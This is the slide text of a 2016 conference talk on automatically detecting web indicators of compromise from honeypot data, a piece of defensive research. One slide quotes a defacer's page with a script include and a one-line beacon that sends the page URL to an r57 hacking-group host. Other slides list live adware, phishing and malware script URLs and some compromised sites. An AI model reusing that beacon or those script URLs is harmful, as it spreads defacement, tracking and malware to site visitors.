automatic extraction of indicators of compromise for web applications (ruhrsec 2016)
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Automatic Extraction of Indicators of Compromise for Web Apps
Dr.-Ing. Marco Balduzzi(with D. Balzarotti and O. Catakoglu @ WWW'16)
29th April 2016RuhrSec, Bochum
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Who am I?
Sr. Research Scientist @ Trend Micro
Forward-Looking Threat Research (FTR) team
M.Sc. + Ph.D.
UniBG + iSecLab@EURECOM
Hackish and open-source enthusiast since 2002
Established presence in international conferences and committees
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Indicators of Compromise (IOCs)
Used in incident response and computer forensics
Forensic artifacts
A system has been compromised or infected with malware
For example
Presence in Windows Registry
MD5 file in temporary directory
Unusual outbound network traffic
Log-in irregularities and failures
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Topic of presentation
Extend the concept of IOCs to Web Applications
(& automatically detect them!)
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A simple observation
When compromising a web application, attackers often rely on external content / accessory scripts
Are not necessarily per se malicious
Popular Javascript libraries, e.g. jQuery
Beautifiers that control the look&feel of the page, e.g. matrix-style background
Scripts that implement reusable functions, e.g. browsers fingerprinting
Their innocuous form make them “highly resilient” to traditional detection systems (scanners)
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BUT…
Their presence can be used to precisely pinpoint compromised or harmful pages
(a Web Indicator of Compromise)
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Example: r57 hacking group
...<head><meta http-equiv="Content-Language" content="en-us"><meta http-equiv="Content-Type" content="text/html;charset=windows-1252"><title>4Ri3 60ndr0n9 was here </title><SCRIPT SRC=http://r57.gen.tr/yazciz/ciz.js> </SCRIPT>...
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Example: r57 hacking group
...<head><meta http-equiv="Content-Language" content="en-us"><meta http-equiv="Content-Type" content="text/html;charset=windows-1252"><title>4Ri3 60ndr0n9 was here </title><SCRIPT SRC=http://r57.gen.tr/yazciz/ciz.js></SCRIPT>...
a=new/**/Image();a.src='http://www.r57.gen.tr/r00t/yaz.php?a='+ escape(location.href);
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How do we know that a script is used
in a malicious context ?
i.e. “Is a valid IOC”
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Data Collection
High-interaction web honeypot [1]
[1] Canali, D., and Balzarotti, D. Behind the scenes of online attacks: an analysis of exploitation behaviors on the web.
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Extraction of Candidates
Automatically extract candidates from files uploaded and modified by attackers
Focus on JavaScript URLs
Can be applied to other resource types
Normally benign!
E.g., Blocking mouse right-click. Used by attackers to prevent page inspection
Content agnostic (impossible to tell)
Need to extend the analysis to the context
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Searching the Web for Indicators
Public web pages including references to our indicators
Google did not help :(
Only indexes the content (intext:)
Meanpath.com
HTML/JS source-code support
Coverage of 200 million websites
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Compromised vs. Benign
Verify that a candidate URL is a valid Indicator
Set of features:
Page Similarity
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Compromised vs. Benign
Verify that a candidate URL is a valid Indicator
Set of features:
Page Similarity
Maliciousness
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Compromised vs. Benign
Verify that a candidate URL is a valid Indicator
Set of features:
Page Similarity
Maliciousness
Anomalous Origin
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Compromised vs. Benign
Verify that a candidate URL is a valid Indicator
Set of features:
Page Similarity
Maliciousness
Anomalous Origin
Component Popularity
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Compromised vs. Benign
Verify that a candidate URL is a valid Indicator
Set of features:
Page Similarity
Maliciousness
Anomalous Origin
Component Popularity
Security Forums
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Experiments
Training data: Jan 2015 → April 2015
375 unique candidates (over a total of 2,765)
Population of 1 to 202 (manual vs automated attacks)
Clustering: unsupervised learning (k-means)
Weka framework
3 cluster categories: malicious, benign, undecided
Live experiment: May 2015 → August 2015 (4 months)
Automated detection via analysis framework
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Live Experiment
303 unique candidates (2.5/day)
Automatically processed and assigned to the closed cluster
22 Benign indicators
96 Malicious indicators
90% were previously unknown or misclassified
¼ IOCs → visual effects: moving text, snow
185 insufficient information (rare scripts)
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High Lifetime of Malicious Indicators
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Use of trustworthy code-repositories
10% IOCs hosted on Google Drive/Code!
1 was online for over 2 years!
Last month: used in dozens of defaced websites and drive-by
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Web Shells
Often deployed by attackers and hidden in defaced websites
Cases of password-protected logins [1]
Flagged as valid indicator
Cases of the r57shell script: feedback of defaced domains
[1] http://www.lionsclubmalviyanagar.com and http://www.wartisan.com
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Phishing
Common habit
Webmail portals of AOL and Yahoo
Reused the original JS files and hosted on the authoritative domain [1]
IOC included in pages hosted on different domains
Websites compromised by the same group [2]
Correctly classified as malicious indicator
[1] http://snsstatic.aolcdn.com/sns.v14r8/js/fs.js [2] http://www.ucylojistik.com/ and http://fernandanunes.com/
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VisAdd Adware Campaign
http://4x3zy4qll8bu4n1j.netdnassl.com/res/helper.min.js
Installed on defaced webpages
TDS for affiliate programs
A.Visadd.com malware
Loads the same JS at client-side
600+ new infected users per day
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Fake Charity Program
http://static.donationtools.org/widgets/FoxyLyrics/widget.js
Loaded via BHO in IE
Vittalia and BrowseFox malware
594 new infections per day
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Mailers
Compromised sites [1] → SPAM mailing server
Alternative to BHS and botnet-infected machines
Use of Pro Mailer V2: PHP mailer
Copies of jQuery hosted on Google and Tumblr
Unmodified copies of popular libraries. Very likely classified as benign by traditional scanners
Malicious use detected.
[1] http://www.senzadistanza.it/ and http://www.hprgroup.biz/
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Limitations
Our approach relies on the attacker's deployment strategy and is content agnostic
Evasion techniques:
Inline code
One-time generated URLs
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Conclusions
Introduced the concept of Web IOCs
Leveraged a honeypot for real-time identification
Benign content → undetected by traditional scanners
Use 'HTTP Referer' to discover compromises pages
By the same hacking group?
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Thank you!
Dr.-Ing. Marco Balduzzi
@embyte
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